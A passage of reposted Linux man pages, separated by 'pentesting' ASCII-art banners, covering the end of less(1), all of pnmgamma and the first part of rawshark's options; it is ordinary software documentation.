ebcdic5bc6bcc7bcc41b.9b7.9b5.b..8b6.10b6.b9.7b
9.8b8.17b3.3b9.7b9.8b8.6b10.b.b.b.
IBM-10474cbcbc3b9cbccbccbb4c6bcc5b3cbbc4bc4bccbc
191.b
iso88598bcccbcc18b95.33b.
koi8-r8bcccbcc18b95.b128.
latin18bcccbcc18b95.33b.
next8bcccbcc18b95.bb125.bb

If neither LESSCHARSET nor LESSCHARDEF is set, but any of the strings “UTF-8”, “UTF8”, “utf-8” or “utf8” is found in the LC_ALL, LC_CTYPE or LANG environment variables, then the default character set is utf-8.

If that string is not found, but your system supports the setlocale interface, less will use setlocale to determine the character set. setlocale is controlled by setting the LANG or LC_CTYPE environment variables.

Finally, if the setlocale interface is also not available, the default character set is latin1.

Control and binary characters are displayed in standout (reverse video). Each such character is displayed in caret notation if possible (e.g. ^A for control-A). Caret notation is used only if inverting the 0100 bit results in a normal printable character. Otherwise, the character is displayed as a hex number in angle brackets. This format can be changed by setting the LESSBINFMT environment variable. LESSBINFMT may begin with a “*” and one character to select the display attribute: “*k” is blinking, “*d” is bold, “*u” is underlined, “*s” is standout, and “*n” is normal. If LESSBINFMT does not begin with a “*”, normal attribute is assumed. The remainder of LESSBINFMT is a string which may include one printf-style escape sequence (a % followed by x, X, o, d, etc.). For example, if LESSBINFMT is “*u[%x]”, binary characters are displayed in underlined hexadecimal surrounded by brackets. The default if no LESSBINFMT is specified is “*s<%02X>”. Warning: the result of expanding the character via LESSBINFMT must be less than 31 characters.

When the character set is utf-8, the LESSUTFBINFMT environment variable acts similarly to LESSBINFMT but it applies to Unicode code points that were successfully decoded but are unsuitable for display (e.g., unassigned code points). Its default value is “<U+%04lX>”. Note that LESSUTFBINFMT and LESSBINFMT share their display attribute setting (”*x”) so specifying one will affect both; LESSUTFBINFMT is read after LESSBINFMT so its setting, if any, will have priority. Problematic octets in a UTF-8 file (octets of a truncated sequence, octets of a complete but non-shortest form sequence, invalid octets, and stray trailing octets) are displayed individually using LESSBINFMT so as to facilitate diagnostic of how the UTF-8 file is ill-formed.

When the character set is utf-8, in rare cases it may be desirable to override the Unicode definition of the type of certain characters. For example, characters in a Private Use Area are normally treated as control characters, but if you are using a custom font with printable characters in that range, it may be desirable to tell less to treat such characters as printable. This can be done by setting the LESSUTFCHARDEF environment variable to a comma-separated list of character type definitions. Each character type definition consists of either one hexadecimal codepoint or a pair of codepoints separated by a dash, followed by a colon and a type character. Each hexadecimal codepoint may optionally be preceded by a “U” or “U+”. If a pair of codepoints is given, the type is set for all characters inclusively between the two values. If there are multiple comma-separated codepoint values, they must be in ascending numerical order. The type character may be one of:

  1. A normal printable character.

  2. A wide (2-space) printable character.

  3. A binary (non-printable) character.

  4. A composing (zero width) character.

For example, setting LESSUTFCHARDEF to

	E000-F8FF:p,F0000-FFFFD:p,100000-10FFFD:p

would make all Private Use Area characters be treated as printable.

PROMPTS

The -P option allows you to tailor the prompt to your preference. The string given to the -P option replaces the specified prompt string. Certain characters in the string are interpreted specially. The prompt mechanism is rather complicated to provide flexibility, but the ordinary user need not understand the details of constructing personalized prompt strings.

A percent sign followed by a single character is expanded according to what the following character is. (References to the input file size below refer to the preprocessed size, if an input preprocessor is being used.)

%bX
Replaced by the byte offset into the current input file. The b is followed by a single character (shown as X above) which specifies the line whose byte offset is to be used. If the character is a “t”, the byte offset of the top line in the display is used, an “m” means use the middle line, a “b” means use the bottom line, a “B” means use the line just after the bottom line, and a “j” means use the “target” line, as specified by the -j option.

%B
Replaced by the size of the current input file.

%c
Replaced by the column number of the text appearing in the first column of the screen.

%dX
Replaced by the page number of a line in the input file. The line to be used is determined by the X, as with the %b option.

%D
Replaced by the number of pages in the input file, or equivalently, the page number of the last line in the input file.

%E
Replaced by the name of the editor (from the VISUAL environment variable, or the EDITOR environment variable if VISUAL is not defined). See the discussion of the LESSEDIT feature below.

%f
Replaced by the name of the current input file.

%F
Replaced by the last component of the name of the current input file.

%g
Replaced by the shell-escaped name of the current input file. This is useful when the expanded string will be used in a shell command, such as in LESSEDIT.

%i
Replaced by the index of the current file in the list of input files.

%lX
Replaced by the line number of a line in the input file. The line to be used is determined by the X, as with the %b option.

%L
Replaced by the line number of the last line in the input file.

%m
Replaced by the total number of input files.

%pX
Replaced by the percent into the current input file, based on byte offsets. The line used is determined by the X as with the %b option.

%PX
Replaced by the percent into the current input file, based on line numbers. The line used is determined by the X as with the %b option.

%s
Same as %B.

%t
Causes any trailing spaces to be removed. Usually used at the end of the string, but may appear anywhere.

%T
Normally expands to the word “file”. However if viewing files via a tags list using the -t option, it expands to the word “tag”.

%x
Replaced by the name of the next input file in the list.

If any item is unknown (for example, the file size if input is a pipe), a question mark is printed instead.

The format of the prompt string can be changed depending on certain conditions. A question mark followed by a single character acts like an “IF”: depending on the following character, a condition is evaluated. If the condition is true, any characters following the question mark and condition character, up to a period, are included in the prompt. If the condition is false, such characters are not included. A colon appearing between the question mark and the period can be used to establish an “ELSE”: any characters between the colon and the period are included in the string if and only if the IF condition is false. Condition characters (which follow a question mark) may be:

?a
True if any characters have been included in the prompt so far.

?bX
True if the byte offset of the specified line is known.

?B
True if the size of current input file is known.

?c
True if the text is horizontally shifted (%c is not zero).

?dX
True if the page number of the specified line is known.

?e
True if at end-of-file.

?f
True if there is an input filename (that is, if input is not a pipe).

?lX
True if the line number of the specified line is known.

?L
True if the line number of the last line in the file is known.

?m
True if there is more than one input file.

?n
True if this is the first prompt in a new input file.

?pX
True if the percent into the current input file, based on byte offsets, of the specified line is known.

?PX
True if the percent into the current input file, based on line numbers, of the specified line is known.

?s
Same as “?B”.

?x
True if there is a next input file (that is, if the current input file is not the last one).

Any characters other than the special ones (question mark, colon, period, percent, and backslash) become literally part of the prompt. Any of the special characters may be included in the prompt literally by preceding it with a backslash.

Some examples:

?f%f:Standard input.

This prompt prints the filename, if known; otherwise the string “Standard input”.

?f%f .?ltLine %lt:?pt%pt:?btByte %bt:-…

This prompt would print the filename, if known. The filename is followed by the line number, if known, otherwise the percent if known, otherwise the byte offset if known. Otherwise, a dash is printed. Notice how each question mark has a matching period, and how the % after the %pt is included literally by escaping it with a backslash.

?n?f%f .?m(%T %i of %m) ..?e(END) ?x- Next\ %x..%t";

This prints the filename if this is the first prompt in a file, followed by the “file N of N” message if there is more than one input file. Then, if we are at end-of-file, the string “(END)” is printed followed by the name of the next file, if there is one. Finally, any trailing spaces are truncated. This is the default prompt. For reference, here are the defaults for the other two prompts (-m and -M respectively). Each is broken into two lines here for readability only.

?n?f%f .?m(%T %i of %m) ..?e(END) ?x- Next\: %x.:
	?pB%pB\%:byte %bB?s/%s...%t

?f%f .?n?m(%T %i of %m) ..?ltlines %lt-%lb?L/%L. :
	byte %bB?s/%s. .?e(END) ?x- Next\: %x.:?pB%pB\%..%t

And here is the default message produced by the = command:

?f%f .?m(%T %i of %m) .?ltlines %lt-%lb?L/%L. .
	byte %bB?s/%s. ?e(END) :?pB%pB\%..%t

The prompt expansion features are also used for another purpose: if an environment variable LESSEDIT is defined, it is used as the command to be executed when the v command is invoked. The LESSEDIT string is expanded in the same way as the prompt strings. The default value for LESSEDIT is:

	%E ?lm+%lm. %g

Note that this expands to the editor name, followed by a + and the line number, followed by the shell-escaped file name. If your editor does not accept the “+linenumber” syntax, or has other differences in invocation syntax, the LESSEDIT variable can be changed to modify this default.

SECURITY

When the environment variable LESSSECURE is set to 1, less runs in a “secure” mode. This means these features are disabled:

!
the shell command

  1. the pshell command

|
the pipe command

:e
the examine command.

  1. the editing command

s -o
log files

-k
use of lesskey files

-t
use of tags files

metacharacters in filenames, such as *

filename completion (TAB, ^L)

history file

Less can also be compiled to be permanently in “secure” mode.

COMPATIBILITY WITH MORE

If the environment variable LESS_IS_MORE is set to 1, or if the program is invoked via a file link named “more”, less behaves (mostly) in conformance with the POSIX more(1) command specification. In this mode, less behaves differently in these ways:

The -e option works differently. If the -e option is not set, less behaves as if the -e option were set. If the -e option is set, less behaves as if the -E option were set.

The -m option works differently. If the -m option is not set, the medium prompt is used, and it is prefixed with the string “–More–”. If the -m option is set, the short prompt is used.

The -n option acts like the -z option. The normal behavior of the -n option is unavailable in this mode.

The parameter to the -p option is taken to be a less command rather than a search pattern.

The LESS environment variable is ignored, and the MORE environment variable is used in its place.

ENVIRONMENT VARIABLES

Environment variables may be specified either in the system environment as usual, or in a lesskey(1) file. If environment variables are defined in more than one place, variables defined in a local lesskey file take precedence over variables defined in the system environment, which take precedence over variables defined in the system-wide lesskey file.

COLUMNS
Sets the number of columns on the screen. Takes precedence over the number of columns specified by the TERM variable. (But if you have a windowing system which supports TIOCGWINSZ or WIOCGETD, the window system’s idea of the screen size takes precedence over the LINES and COLUMNS environment variables.)

EDITOR
The name of the editor (used for the v command).

HOME
Name of the user’s home directory (used to find a lesskey file on Unix and OS/2 systems).

HOMEDRIVE, HOMEPATH
Concatenation of the HOMEDRIVE and HOMEPATH environment variables is the name of the user’s home directory if the HOME variable is not set (only in the Windows version).

INIT
Name of the user’s init directory (used to find a lesskey file on OS/2 systems).

LANG
Language for determining the character set.

LC_CTYPE
Language for determining the character set.

LESS
Options which are passed to less automatically.

LESSANSIENDCHARS
Characters which may end an ANSI color escape sequence (default “m”).

LESSANSIMIDCHARS
Characters which may appear between the ESC character and the end character in an ANSI color escape sequence (default “0123456789:;[?!”’#%()*+ “.

LESSBINFMT
Format for displaying non-printable, non-control characters.

LESSCHARDEF
Defines a character set.

LESSCHARSET
Selects a predefined character set.

LESSCLOSE
Command line to invoke the (optional) input-postprocessor.

LESSECHO
Name of the lessecho program (default “lessecho”). The lessecho program is needed to expand metacharacters, such as * and ?, in filenames on Unix systems.

LESSEDIT
Editor prototype string (used for the v command). See discussion under PROMPTS.

LESSGLOBALTAGS
Name of the command used by the -t option to find global tags. Normally should be set to “global” if your system has the global(1) command. If not set, global tags are not used.

LESSHISTFILE
Name of the history file used to remember search commands and shell commands between invocations of less. If set to “-” or “/dev/null”, a history file is not used. The default depends on the operating system, but is usually:

Linux and Unix
“$XDG_STATE_HOME/lesshst” or “$HOME/.local/state/lesshst” or “$XDG_DATA_HOME/lesshst” or “$HOME/.lesshst”.

Windows and MS-DOS
“$HOME/_lesshst”.

OS/2
“$HOME/lesshst.ini” or “$INIT/lesshst.ini”.

LESSHISTSIZE
The maximum number of commands to save in the history file. The default is 100.

LESSKEYIN
Name of the default lesskey source file.

LESSKEY
Name of the default lesskey binary file. (Not used if “$LESSKEYIN” exists.)

LESSKEYIN_SYSTEM
Name of the default system-wide lesskey source file.

LESSKEY_SYSTEM
Name of the default system-wide lesskey binary file. (Not used if “$LESSKEYIN_SYSTEM” exists.)

LESSMETACHARS
List of characters which are considered “metacharacters” by the shell.

LESSMETAESCAPE
Prefix which less will add before each metacharacter in a command sent to the shell. If LESSMETAESCAPE is an empty string, commands containing metacharacters will not be passed to the shell.

LESSOPEN
Command line to invoke the (optional) input-preprocessor.

LESSSECURE
Runs less in “secure” mode. See discussion under SECURITY.

LESSSEPARATOR
String to be appended to a directory name in filename completion.

LESSUTFBINFMT
Format for displaying non-printable Unicode code points.

LESSUTFCHARDEF
Overrides the type of specified Unicode characters.

LESS_COLUMNS
Sets the number of columns on the screen. Unlike COLUMNS, takes precedence over the system’s idea of the screen size, so it can be used to make less use less than the full screen width. If set to a negative number, sets the number of columns used to this much less than the actual screen width.

LESS_LINES
Sets the number of lines on the screen. Unlike LINES, takes precedence over the system’s idea of the screen size, so it can be used to make less use less than the full screen height. If set to a negative number, sets the number of lines used to this much less than the actual screen height. When set, less repaints the entire screen on every movement command, so scrolling may be slower.

LESS_DATA_DELAY
Duration (in milliseconds) after starting to read data from the input, after which the “Waiting for data” message will be displayed. The default is 4000 (4 seconds).

LESS_IS_MORE
Emulate the more(1) command.

LESS_TERMCAP_xx
Where “xx” is any two characters, overrides the definition of the termcap “xx” capability for the terminal.

LINES
Sets the number of lines on the screen. Takes precedence over the number of lines specified by the TERM variable. (But if you have a windowing system which supports TIOCGWINSZ or WIOCGETD, the window system’s idea of the screen size takes precedence over the LINES and COLUMNS environment variables.)

MORE
Options which are passed to less automatically when running in more-compatible mode.

PATH
User’s search path (used to find a lesskey file on MS-DOS and OS/2 systems).

SHELL
The shell used to execute the ! command, as well as to expand filenames.

TERM
The type of terminal on which less is being run.

VISUAL
The name of the editor (used for the v command).

XDG_CONFIG_HOME
Possible location of the lesskey file; see the KEY BINDINGS section.

XDG_DATA_HOME
Possible location of the history file; see the description of the LESSHISTFILE environment variable.

XDG_STATE_HOME
Possible location of the history file; see the description of the LESSHISTFILE environment variable.

SEE ALSO

lesskey(1), lessecho(1)

COPYRIGHT

Copyright (C) 1984-2023 Mark Nudelman

less is part of the GNU project and is free software. You can redistribute it and/or modify it under the terms of either (1) the GNU General Public License as published by the Free Software Foundation; or (2) the Less License. See the file README in the less distribution for more details regarding redistribution. You should have received a copy of the GNU General Public License along with the source for less; see the file COPYING. If not, write to the Free Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. You should also have received a copy of the Less License; see the file LICENSE.

less is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

AUTHOR

Mark Nudelman
Report bugs at https://github.com/gwsw/less/issues.
For more information, see the less homepage at
https://greenwoodsoftware.com/less

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2249 - Linux cli command pnmgamma

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmgamma and provides detailed information about the command pnmgamma, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmgamma.

.

NAME 🖥️ pnmgamma 🖥️

perform gamma adjustment on a PNM image

SYNOPSIS

pnmgamma { -bt709tolinear | -lineartobt709 | -bt709tosrgb | -srgbtobt709 } [**-gamma=float] [-rgamma=float] [-ggamma=float] [-bgamma=**float]

[pnmfile]

pnmgamma [ -bt709ramp | -srgbramp ] [-ungamma] [{gamma | redgamma greengamma bluegamma} [pnmfile]]

DESCRIPTION

This program is part of Netpbm(1) .

Pnmgamma performs gamma adjustment on pseudo-PNM images.

The PPM format specification specifies that certain sample values in a file represent certain light intensities in an image. In particular, they specify that the sample values are directly proportional to luminance as defined by ITU-R Recommendation BT.709. BT.709 luminance as a function of radiance is a power function modified with a linear ramp near black.

However, people sometimes work with approximations of PPM and PGM where the sample values represent intensity in different ways:

In one common variation, the sample value is directly proportional to radiance (often called “linear intensity”).

Another popular variation is to make the samples proportional to luminance as defined by the International Electrotechnical Commission (IEC) SRGB standard. The SRGB gamma transfer function is like the BT.709 one except with different constants in it.

Note that SRGB is often spelled “sRGB”. In this document, we use standard English typography, though, which doesn’t allow for that kind of capitalization.

pnmgamma allows you to manipulate the gamma transfer function, thus working with and/or creating pseudo-PPM files that are useful for various things.

For example, if you feed a true PPM to pnmgamma -bt709tolinear , you get as output a file which is PPM in every respect except that the sample values are radiances. If you feed such a file to pnmgamma -linearto709, you get back a true PPM.

The situation for PGM images is analogous. And pnmgamma treats PBM images as PGM images.

When you feed a radiance-proportional pseudo-PPM image to a display program that expects a true PPM, the display appears darker than it should, so pnmgamma has the effect of lightening the image. When you feed a true PPM to a display program that expects radiance-proportional sample values, and therefore does a gamma adjustment of its own on them, the display appears lighter than it should, so pnmgamma with a gamma value less than one (the multiplicative inverse of whatever gamma value the display program uses) has the effect of darkening the image.

PARAMETERS

The form of the parameters depends on whether you’re using the old syntax or the new syntax. With the old syntax, the parameters are a mixture of gamma values and the input file name. With the new syntax, the only parameter is the input file name and you specify gamma values with option.

You use the old syntax if you specify -bt709ramp (or its synonym -cieramp) or -srgramp or if you don’t specify any transfer function at all (and thus default to a simple exponential). Otherwise, you use the new syntax.

With the old syntax, you may specify a single gamma value or 3 separate gamma values (red, green, and blue) or no gamma values. In any case, the meanings of those parameters is the same as the more modern -gamma, -rgamma, -ggamma, and -bgamma options described below.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmgamma recognizes the following command line options:

-bt709tolinear
Convert the image from BT.709 luminance to radiance. I.e. convert from true PPM or PGM to a radiance-linear variation that can be used with certain tools that need it.

This option was new in Netpbm 10.32 (February 2006).

-lineartobt709
Convert the image from radiance to BT.709 luminance. I.e. convert to true PPM or PGM from a radiance-linear variation.

You get true BT.709 (ergo true PPM or PGM) only if you use the default gamma value (i.e. don’t specify -gamma, etc.).

This option was new in Netpbm 10.32 (February 2006).

-bt709tosrgb
Convert the image from BT.709 luminance to SRGB luminance. I.e. convert from true PPM or PGM to an SRGB-based variation that is required by certain tools and display devices.

You get true SRGB only if you use the default gamma value (i.e. don’t specify -gamma, etc.).

This option was new in Netpbm 10.32 (February 2006).

-srgbtobt709
Convert the image from SRGB luminance to BT.709 luminance. I.e. convert to true PPM or PGM from an SRGB-based variation.

This option was new in Netpbm 10.32 (February 2006).

-bt709ramp
Same as -lineartobt709, but using the old syntax.

This option was renamed in Netpbm 10.32 (February 2006). Before that, its name is -cieramp.

-cieramp
This is an obsolete synonym for -bt709ramp.

The name of this option comes from a former belief that this was a standard of CIE (International Commission On Illumination), but it now (August 2005) looks like it never was.

-srgbramp
Convert the image from radiance to SRGB luminance. Note that it is true SRGB only if you use the default gamma value (i.e. don’t specify any gamma parameters).

This is an old syntax option. There is no equivalent in the new syntax because it really shouldn’t be a function of pnmgamma at all. It exists solely for backward compatibility. The reason it shouldn’t exist is that the way to do this conversion consistent with the Netpbm philosophy is do a -lineartobt709 followed by a -bt709tosrgb. It’s exactly analogous to the way you have to convert from PNG to TIFF by doing a pngtopam followed by a pnmtotiff. The -srgbramp option actually dates to before there was a standard definition of what the sample values of a Netpbm image measure, and pnmgamma considered radiance-linear to be the proper intermediate format.

-ungamma
Apply the inverse of the specified transfer function (i.e. go from gamma-adjusted luminance to radiance).

This is valid only with -bt709ramp (aka -cieramp), -srgbramp, and the default exponential transfer function.

**-gamma=**float
This specifies the gamma value to use in the transfer function. All of the transfer functions involve an exponent, and the gamma value is that exponent.

The standards specify a particular gamma value. If you use anything else, you are varying from the standard.

The default is the standard value. For the simple exponential transfer function (which is not a standard), the default is 2.2.

In the -bt709tosrgb and -srgbtobt709 conversions there are two exponents. -gamma affects the “to” function; the “from” function always uses the standard gamma value.

If you specify one of the component-specific options (-rgamma, etc.), that overrides the -gamma value.

With the -bt709ramp (aka -cieramp), -srgbramp, or the default exponential transfer function, you can’t actually use this option, but you specify the same thing with parameters.

This option was new in Netpbm 10.32 (February 2006).

**-rgamma=**float
**-ggamma=**float
**-bgamma=**float
These options are just like -gamma, except they specify the value for a particular one of the color components.

If you don’t specify this option for a particular color component, the default is the -gamma value (or -gamma’s default if you didn’t specify that either).

With the -bt709ramp (aka -cieramp), -srgbramp, or the default exponential transfer function, you can’t actually use this option, but you specify the same thing with parameters.

This option was new in Netpbm 10.32 (February 2006).

**-maxval=**maxval
This is the maxval of the output image. By default, the maxval of the output is the same as that of the input.

Because the transformation is not linear, you need a greater maxval in the output in order not to lose any information from the input. For example, if you convert to radiance-linear sample values with -ungamma -bt709ramp and default gamma value, and your maxval is 255 on both input and output, 3 different input sample values all generate output sample value 254. In order to have a different output sample value for each input sample value, you would need an output maxval at least 3 times the input maxval.

This option was new in Netpbm 10.32 (February 2006). Before that, you can achieve the same result by increasing the maxval of the input or decreasing the maxval of the output using pamdepth.

WHAT IS GAMMA?

A good explanation of gamma is in Charles Poynton’s Gamma FAQ at " http://www.poynton.com/GammaFAQ.html" (1) and Color FAQ at " http://www.poynton.com/ColorFAQ.html" (1) .

In brief: The simplest way to code an image is by using sample values that are directly proportional to the radiance of the color components. Radiance is a physical quantification based on the amount of power in the light; it is easily measurable in a laboratory, but does not take into account what the light looks like to a person. It wastes the sample space because the human eye can’t discern differences between low-radiance colors as well as it can between high-radiance colors. So instead, we pass the radiance values through a transfer function that makes it so that changing a sample value by 1 causes the same level of perceived color change anywhere in the sample range. We store those resulting values in the image file. That transfer function is called the gamma transfer function and the transformation is called gamma adjusting.

The gamma-adjusted value, proportional to subjective brightness, are known as the luminance of the pixel.

There is no precise objective way to measure luminance, since it’s psychological. Also, perception of brightness varies according to a variety of factors, including the surrounding in which an image is viewed. Therefore, there is not just one gamma transfer function.

Virtually all image formats, either specified or de facto, use gamma-adjusted values for their sample values.

What’s really nice about gamma is that by coincidence, the inverse function that you have to do to convert the gamma-adjusted values back to radiance is done automatically by CRTs. You just apply a voltage to the CRT’s electron gun that is proportional to the gamma-adjusted sample value, and the radiance of the light that comes out of the screen is close to the radiance value you had before you applied the gamma transfer function!

And when you consider that computer video devices usually want you to store in video memory a value proportional to the signal voltage you want to go to the monitor, which the monitor turns into a proportional drive voltage on the electron gun, it is really convenient to work with gamma-adjusted sample values.

SEE ALSO

pnm(1)

AUTHOR

Copyright (C) 1991 by Bill Davidson and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmgamma.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2250 - Linux cli command rawshark

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rawshark and provides detailed information about the command rawshark, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rawshark.

NAME 🖥️ rawshark 🖥️

Dump and analyze raw pcap data

SYNOPSIS

rawshark-d <encap:linktype>|<proto:protoname> ] [ -F <field to display> ] [ -l ] [ -m <bytes> ] [ -o <preference setting> ] … [ -p ] [ -r <pipe>|- ] [ -R <read (display) filter> ] [ -s ] [ -S <field format> ] [ options ]

rawshark -h|–help

rawshark -v|–version

DESCRIPTION

Rawshark reads a stream of packets from a file or pipe, and prints a line describing its output, followed by a set of matching fields for each packet on stdout.

INPUT

Unlike TShark, Rawshark makes no assumptions about encapsulation or input. The -d and -r flags must be specified in order for it to run. One or more -F flags should be specified in order for the output to be useful. The other flags listed above follow the same conventions as Wireshark and TShark.

Rawshark expects input records with the following format by default. This matches the format of the packet header and packet data in a pcap-formatted file on disk.

struct rawshark_rec_s { uint32_t ts_sec; /* Time stamp (seconds) / uint32_t ts_usec; / Time stamp (microseconds) / uint32_t caplen; / Length of the packet buffer / uint32_t len; / “On the wire” length of the packet / uint8_t data[caplen]; / Packet data */ };

If -p is supplied rawshark expects the following format. This matches the struct pcap_pkthdr structure and packet data used in libpcap, Npcap, or WinPcap. This structure’s format is platform-dependent; the size of the tv_sec field in the struct timeval structure could be 32 bits or 64 bits. For rawshark to work, the layout of the structure in the input must match the layout of the structure in rawshark. Note that this format will probably be the same as the previous format if rawshark is a 32-bit program, but will not necessarily be the same if rawshark is a 64-bit program.

struct rawshark_rec_s { struct timeval ts; /* Time stamp / uint32_t caplen; / Length of the packet buffer / uint32_t len; / “On the wire” length of the packet / uint8_t data[caplen]; / Packet data */ };

In either case, the endianness (byte ordering) of each integer must match the system on which rawshark is running.

OUTPUT

If one or more fields are specified via the -F flag, Rawshark prints the number, field type, and display format for each field on the first line as “packet number” 0. For each record, the packet number, matching fields, and a “1” or “0” are printed to indicate if the field matched any supplied display filter. A “-” is used to signal the end of a field description and at the end of each packet line. For example, the flags -F ip.src -F dns.qry.type might generate the following output:

0 FT_IPv4 BASE_NONE - 1 FT_UINT16 BASE_HEX - 1 1=“1” 0=“192.168.77.10” 1 - 2 1=“1” 0=“192.168.77.250” 1 - 3 0=“192.168.77.10” 1 - 4 0=“74.125.19.104” 1 -

Note that packets 1 and 2 are DNS queries, and 3 and 4 are not. Adding -R “not dns” still prints each line, but there’s an indication that packets 1 and 2 didn’t pass the filter:

0 FT_IPv4 BASE_NONE - 1 FT_UINT16 BASE_HEX - 1 1=“1” 0=“192.168.77.10” 0 - 2 1=“1” 0=“192.168.77.250” 0 - 3 0=“192.168.77.10” 1 - 4 0=“74.125.19.104” 1 -

Also note that the output may be in any order, and that multiple matching fields might be displayed.

OPTIONS

-d <encapsulation>

Specify how the packet data should be dissected. The encapsulation is of the form type:value, where type is one of:

encap:name Packet data should be dissected using the libpcap/Npcap/WinPcap data link type (DLT) name, e.g. encap:EN10MB for Ethernet. Names are converted using pcap_datalink_name_to_val(). A complete list of DLTs can be found at <https://www.tcpdump.org/linktypes.html>.

encap:number Packet data should be dissected using the libpcap/Npcap/WinPcap LINKTYPE_ number, e.g. encap:105 for raw IEEE 802.11 or encap:101 for raw IP.

proto:protocol Packet data should be passed to the specified Wireshark protocol dissector, e.g. proto:http for HTTP data.

-F <field to display>

Add the matching field to the output. Fields are any valid display filter field. More than one -F flag may be specified, and each field can match multiple times in a given packet. A single field may be specified per -F flag. If you want to apply a display filter, use the -R flag.

-h|–help

Print the version number and options and exit.

-l

Flush the standard output after the information for each packet is printed. (This is not, strictly speaking, line-buffered if -V was specified; however, it is the same as line-buffered if -V wasn’t specified, as only one line is printed for each packet, and, as -l is normally used when piping a live capture to a program or script, so that output for a packet shows up as soon as the packet is seen and dissected, it should work just as well as true line-buffering. We do this as a workaround for a deficiency in the Microsoft Visual C++ C library.)

This may be useful when piping the output of TShark to another program, as it means that the program to which the output is piped will see the dissected data for a packet as soon as TShark sees the packet and generates that output, rather than seeing it only when the standard output buffer containing that data fills up.

-m <memory limit bytes>

Limit rawshark’s memory usage to the specified number of bytes. POSIX (non-Windows) only.

-o <preference>:<value>

Set a preference value, overriding the default value and any value read from a preference file. The argument to the option is a string of the form prefname:value, where prefname is the name of the preference (which is the same name that would appear in the preference file), and value is the value to which it should be set.

-p

Assume that packet data is preceded by a pcap_pkthdr struct as defined in pcap.h. On some systems the size of the timestamp data will be different from the data written to disk. On other systems they are identical and this flag has no effect.

-r <pipe>|-

Read packet data from input source. It can be either the name of a FIFO (named pipe) or ``- to read data from the standard input, and must have the record format specified above.

If you are sending data to rawshark from a parent process on Windows you should not close rawshark’s standard input handle prematurely, otherwise the C runtime might trigger an exception.

-R <read (display) filter>

Cause the specified filter (which uses the syntax of read/display filters, rather than that of capture filters) to be applied before printing the output.

-s

Allows standard pcap files to be used as input, by skipping over the 24 byte pcap file header.

-S

Use the specified format string to print each field. The following formats are supported:

%D Field name or description, e.g. “Type” for dns.qry.type

%N Base 10 numeric value of the field.

%S String value of the field.

For something similar to Wireshark’s standard display (“Type: A (1)”) you could use %D: %S (%N).

-v|–version

Print the full version information and exit.

DISSECTION OPTIONS

–disable-all-protocols

Disable dissection of all protocols.

–disable-protocol <proto_name>[,<proto_name>,…]

Disable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default enabled protocol list and temporarily disable all protocols.

–disable-heuristic <short_name>

Disable dissection of heuristic protocol.

–enable-protocol <proto_name>[,<proto_name>,…]

Enable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default disabled protocol list and temporarily enable all protocols which are enabled by default.

If a protocol is implicated in both –disable-protocol and –enable-protocol, the protocol is enabled. This allows you to temporarily disable all protocols but a list of exceptions. Example: –disable-protocol ALL –enable-protocol eth,ip

–enable-heuristic <short_name>

Enable dissection of heuristic protocol.

-K <keytab>

Load kerberos crypto keys from the specified keytab file. This option can be used multiple times to load keys from several files.

Example: -K krb5.keytab

-n

Disable network object name resolution (such as hostname, TCP and UDP port names); the -N option might override this one.

-N <name resolving flags>

Turn on name resolving only for particular types of addresses and port numbers, with name resolving for other types of addresses and port numbers turned off. This option (along with -n) can be specified multiple times; the last value given overrides earlier ones. This option and -n override the options from the preferences, including preferences set via the -o option. If both -N and -n options are not present, the values from the preferences are used, which default to -N dmN.

The argument is a string that may contain the letters:

d to enable resolution from captured DNS packets

g to enable IP address geolocation information lookup from configured MaxMind databases

